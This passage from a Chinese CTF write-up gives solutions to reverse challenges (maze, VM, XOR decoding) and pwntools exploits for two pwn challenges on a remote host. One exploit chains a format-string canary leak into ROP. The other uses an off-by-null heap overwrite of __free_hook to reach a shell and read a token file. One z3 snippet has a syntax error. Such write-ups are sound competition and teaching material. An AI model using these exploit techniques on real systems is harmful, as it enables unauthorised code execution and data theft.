    unsigned Temp[36] = { 0 };
    Temp[32] = v1;
    Temp[33] = v2;
    Temp[34] = v3;
    Temp[35] = v4;
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 5052); 
    for (int i = 31; i >= 0; i--) {
        Temp[i] = GetRemoteCallValue(hProcess, Temp[i + 1] ^ Temp[i + 2] ^ Temp[i + 3] ^ key[i + 4]) ^ Temp[i + 4];
    }
    for (int i = 0; i < 4; i++) {
        Temp[i] ^= 0x06070607;
    }



    char* sb1 = (char*)Temp;
    for(int i = 0;i<4;i++){
        for(int j = 0 ; j< 4;j++){
            printf("%c", sb1[i * 4 + (3 - j)]);
        }
    }
}
    system("pause");
}
Ho3_I_Exp3cTed_n0_pY_1n_the_Ctf!

三、maze

迷宫题型,先算出dWWwwdddWWaawwddsssSaw的解法

import base64
import string

str1 = "QCAmN2sYNGUfR3EvOUMuNWYkW3k1JR=="

string1 = "BADCFEHGJILKNMPORQTSVUXWZYbadcfehgjilknmporqtsvuxwzy1032547698+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

接着根据调试解出交叉引用的byte_42024C

from z3 import *
enc = [0x0e,0x5D, 0x7D, 0x7D, 0x5D, 0x4E, 0x4E, 0x4E, 0x5D, 0x7D, 0x6B, 0x4B, 0x5D, 0x5D, 0x4E, 0x4E, 0x59,
0x59, 0x59, 0x59, 0x6B, 0x5D, 0x53, 0x24, 0x7B, 0x34, 0x07, 0x49, 0x01, 0x1B, 0x23, 0x27, 0x7E,
0x35, 0x3F, 0x12, 0x1B, 0x29, 0x32, 0x09, 0x16, 0x12, 0x60, 0x4A]
sb = [BitVec(f"sb[{i}]",8) for i in range(45)]
s = Solver()
for i in range(1,44):
    s.add(sb[i-1] & 0xe0 | sb[i] & 0x1f == enc[i]
print(s.check())
print(s.model())

接着把解出来的数据和那个地图迷宫路径异或

path = [0] *44
path[43] = 10
path[0] = 64
path[22] = 51
path[13] = 93
path[20] = 75
path[33] = 53
path[42] = 64
path[14] = 78
path[5] = 78
path[3] = 93
path[32] = 62
path[34] = 31
path[29] = 59
path[17] = 89
path[38] = 18
path[16] = 89
path[37] = 41
path[26] = 71
path[39] = 9
path[2] = 125
path[9] = 125
path[11] = 75
path[30] = 35
path[31] = 103
path[27] = 9
path[21] = 93
path[8] = 125
path[19] = 121
path[35] = 18
path[12] = 93
path[4] = 93
path[28] = 1
path[40] = 22
path[23] = 100
path[24] = 59
path[10] = 75
path[1] = 125
path[25] = 20
path[36] = 59
path[41] = 114
path[15] = 78
path[7] = 78
path[6] = 78
path[18] = 89
flag = ""
maze = "dWWwwdddWWaawwddsssSaw"
for i in range(44):
    flag += chr(path[i] ^ ord(maze[i % len(maze)]))
print(flag)
D0g3{Y0u^Can=So1ve_it!W3lc0me_t0_The_Maze!!}

四、localhost:2333

解开UPX壳后,进入MainVM 观察虚拟机结构,发现这是一个基于栈的虚拟机

解题exp如下

enc = [0x9b, 0xaa, 0xcb, 0xf5, 0x8a, 0xc8, 0xa1, 0x89, 0xe0, 0xa5,
       0x7e, 0x10, 0x3a, 0x0d, 0x31, 0x75, 0x2d, 0x7e, 0x77, 0x64,
       0x4a, 0x2b, 0xeb, 0xac, 0x08, 0x84, 0x2b, 0x24, 0x24, 0xaf]
xor_key = [0x47, 0x4f, 0x4c, 0x40, 0x6e, 0x44, 0x7e, 0x21, 0x21, 0x21]
magic_key = 0xff
flag = ""
for i in range(0, 10):
    if i == 0:
        magic_key = 0xff
    else:
        magic_key = enc[i - 1]
    raw = (enc[i] + i ^ magic_key)
    flag += chr(raw)
for i in range(10, 20):
    flag += chr(enc[i] ^ xor_key[i - 10])
# >> 3 << 5
for i in range(20, 30):
    flag += chr(enc[i] << 3 & 0xf8 | (enc[i] >> 5) & 0xff)
print(flag)
d0g3{Go1aN9_vM_1S_VERY_e@$Y!!}

 

0x05 Pwn

一、ezstack

from pwn import *
context.log_level = "debug"
i = 0
canary = 11
p = remote("47.108.195.119", 20113)
p.sendline("Gerontic_D1no")
p.sendline("68")
p.recv()
p.sendline("%11$p,%17$p")
p.recvuntil("0x")
canary = u64(p.recv(16).decode("hex")[::-1])
p.recvuntil("0x")
prog_base = u64(p.recv(12).decode("hex")[::-1].ljust(8,"\x00")) - 0x9dc
success("prog => " + hex(prog_base))
p.sendline(cyclic(0x18) + p64(canary) + cyclic(8) + p64(prog_base + 0xb03) + p64(prog_base + 0xb24)+ p64(prog_base + 0x810) )
p.sendline("echo hello && cat sky_token")
p.recvuntil("hello\n")
token = p.recv()
p.sendline("exit")
success("token => " + token)
p.send(token)
p.interactive()

二、off-by-null

from pwn import *

context.log_level = "debug"
p = remote("47.108.195.119", 20182)
# p = process(['../pwn'], env={'LD_PRELOAD': '/home/cshi/pwn/libc.so.6'})
so = ELF('../libc.so.6')
p.sendline("Gerontic_D1no")
p.sendline("68")
p.recvuntil("please input a str:")
p.sendline('N0_py_1n_tHe_ct7')


def choice(c):
    p.recvuntil(">")
    p.sendline(str(c))


def add(index, size):
    choice(1)
    p.recvuntil('?')
    p.sendline(str(index))
    p.recvuntil("?")
    p.sendline(str(size))


def show(index):
    choice(2)
    p.recvuntil("?")
    p.sendline(str(index))


def edit(index, content):
    choice(3)
    p.recvuntil("?")
    p.sendline(str(index))
    p.recvuntil(":")
    p.send(content)


def free(index):
    choice(4)
    p.recvuntil("?")
    p.sendline(str(index))


add(0, 0x4f0)
add(1, 0x18)
add(2, 0x4f0)
add(3, 0x10)

free(0)
add(0, 0x4f0)
show(0)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = leak - 96 - 0x10 - so.sym['__malloc_hook']
success("libc_base => " + hex(libc_base))
free(0)
edit(1, b'a' * 0x10 + p64(0x500 + 0x20))
free(2)
add(0, 0x4f0)
add(4, 0x10)
free(4)
edit(1, p64(libc_base + so.sym['__free_hook']))
add(5, 0x10)
edit(5, '/bin/sh\x00')
add(6, 0x10)
edit(6, p64(libc_base + so.sym['system']))
free(5)
sleep(0.1)
p.sendline("echo hello && cat sky_token")
p.recvuntil("hello\n")
token = p.recv()
p.sendline("exit")
success("token => " + token)
p.sendline("5")
sleep(1)
p.send(token)
p.interactive()
p.interactive()


其他参考文献:

posted @ 2021-12-22 03:08  渗透测试中心  阅读(534)  评论(0编辑  收藏  举报